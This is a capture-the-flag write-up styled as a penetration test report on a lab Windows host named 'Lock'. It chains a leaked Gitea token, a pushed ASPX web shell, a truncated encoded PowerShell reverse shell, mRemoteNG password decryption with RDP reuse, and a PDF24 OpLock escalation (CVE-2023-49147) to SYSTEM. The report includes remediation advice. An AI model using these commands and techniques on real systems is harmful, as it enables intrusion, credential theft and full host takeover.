

Offensive Security Assessment – Project Lock (DevSecOps / IIS / OpLock Race Condition)

Parameter	Detail
Project ID	SEC-RPT-WIN-LOCK-2025
Classification	TLP:CLEAR / Public
Client / Environment	lock.htb Corporate Web and CI/CD Infrastructure
Asset(s) in Scope	10.129.234.64 (IIS 10.0 / Gitea)
Assessment Type	Comprehensive Penetration Test / Secure Development and Windows Internals
Status	Critical Compromise Validated / Escalation to NT AUTHORITY\SYSTEM

2. Executive Summary

The technical assessment executed on corporate server 10.129.234.64 revealed chained vulnerabilities spanning from the secure development pipeline to third-party software management on Windows systems.

API token exposure was detected in a public repository on the internal Gitea instance (port 3000), allowing cloning of the production website repository and deployment of an ASPX backdoor parsed by IIS 10.0. After gaining system access, RDP credentials stored in reversible text by mRemoteNG were decrypted, escalating laterally to user gale.dekarios. Finally, leveraging an opportunistic lock (OpLock) race condition during the repair of the PDF24 Creator MSI package (CVE-2023-49147), an elevated interactive console was forced, achieving complete asset control as NT AUTHORITY\SYSTEM.

3. Findings and Impact Matrix

Vulnerability / Finding	Severity	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
File Upload via Web Repository (RCE in IIS)	Critical	9.8	CWE-434 / OWASP A03:2021	T1505.003 - Server Software Component: Web Shell

Race Condition in MSI Repairer (CVE-2023-49147)	High	7.8	CWE-367 / OWASP A04:2021	T1068 - Exploitation for Privilege Escalation
API Token Exposure in Version Control	High	7.5	CWE-798 / OWASP A02:2021	T1552.001 - Unsecured Credentials: Credentials in Files
Weak Credential Storage in mRemoteNG	High	7.5	CWE-312 / OWASP A02:2021	T1555 - Credentials from Password Stores

4. Technical Details and Proof of Concept (PoC)

4.1. API Token Leak and Web Shell Deployment on IIS

Examining public Gitea repositories (<http://lock.htb:3000>), a script containing an authorization token belonging to ellen.freeman was located:

```
# Token recuperado: 43ce39bb0bd6bc489284f2905f033ca467a6362f
curl -s http://lock.htb:3000/api/v1/user/repos -H "Authorization: token
43ce39bb0bd6bc489284f2905f033ca467a6362f" | jq -r '.[].name'
# Repositorio privado localizado: website
```

Cloning of the production repository was executed:

```
git clone
http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.fre
eman/website.git
```

An ASPX backdoor was added to the repository tree and synchronized with the main branch:

```
cd website
cp /usr/share/webshells/aspx/cmd.aspx ./shell.aspx
git add shell.aspx
git commit -m "Deployment hotfix"
git push origin main
```

Navigating to <http://lock.htb/shell.aspx>, a PowerShell shell was triggered to establish the reverse shell:

```
powershell -e JABjAGwAaQBLAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...
```

Interactive connection obtained as ellen.freeman:

```
whoami  
# lock\ellen.freeman
```

- **Technical Impact:** Control of the production web branch and remote command execution on the Windows host.
- **Remediation & Hardening:** Revoke the compromised token, implement secret scanning with pre-commit validation tools (e.g., Gitleaks), and decouple the IIS webroot from public Git branches without a formal deployment pipeline.

4.2. mRemoteNG Decryption and RDP Access

Within the ellen.freeman user directory, the mRemoteNG configuration file C:\Users\ellen.freeman\Documents\config.xml was identified. Utilizing an offline decryption script for known mRemoteNG key derivation algorithms:

```
python3 mremoteng_decrypt.py -rf config.xml  
# Credencial recuperada: Gale.Dekarios : ty8wnW9qCKDosXo6
```

An interactive RDP connection was established over TCP port 3389:

```
xfreerdp3 /u:'gale.dekarios' /p:'ty8wnW9qCKDosXo6' /v:10.129.234.64:3389  
+clipboard
```

- **Technical Impact:** Full interactive Remote Desktop access with technical operator privileges.
- **Remediation & Hardening:** Migrate toward corporate Privileged Access Management (PAM) solutions that avoid storing passwords in plaintext XML files, and enforce Multi-Factor Authentication (MFA) on RDP.

4.3. Escalation to NT AUTHORITY\SYSTEM via CVE-2023-49147 (PDF24 OpLock)

The host was running PDF24 Creator version 11.14.0. During MSI package repair executed as NT AUTHORITY\SYSTEM, the installer triggers an interactive cmd.exe console while processing the faxPrnInst.log file. The SetOpLock.exe utility was used to place an opportunistic lock on that file:

```
PS C:\Users\gale.dekarios> .\SetOpLock.exe "C:\Program  
Files\PDF24\faxPrnInst.log" r
```

In a second terminal, the MSI package repair was initiated:

```
msiexec.exe /fa "C:\Users\gale.dekarios\Downloads\pdf24-creator-11.14.0.msi"
```

The installation process halted when the lock triggered, keeping the command prompt executed by SYSTEM visible. Utilizing the console window's graphical interface:

1. Right-clicked the title bar, selecting Properties.
2. Enabled the Use legacy console (requires relaunch) option.
3. Selected the on-screen help link, which launched the Mozilla Firefox browser within the parent process context (SYSTEM).
4. From the Firefox menu, pressed Ctrl + O (Open file), selected cmd.exe in C:\Windows\System32, and executed the open action.

Verification of complete control as superuser:

```
Microsoft Windows [Version 10.0.19041.1]
C:\Windows\system32> whoami
nt authority\system

C:\Users\Administrator\Desktop> type root.txt
743f1a6d3a487cd1a352b9f3a5c1a3d4
```

- **Technical Impact:** Absolute asset control and complete circumvention of all Windows operating system access controls.
- **Remediation & Hardening:**
 1. Upgrade PDF24 Creator to version 11.15.0 or later, where interactive script invocation during repair was remediated.
 2. Revoke privileges for unprivileged users to execute corporate MSI package repairs by applying Group Policy:
Computer Configuration -> Administrative Templates -> Windows Components -> Windows Installer -> Prohibit User Installs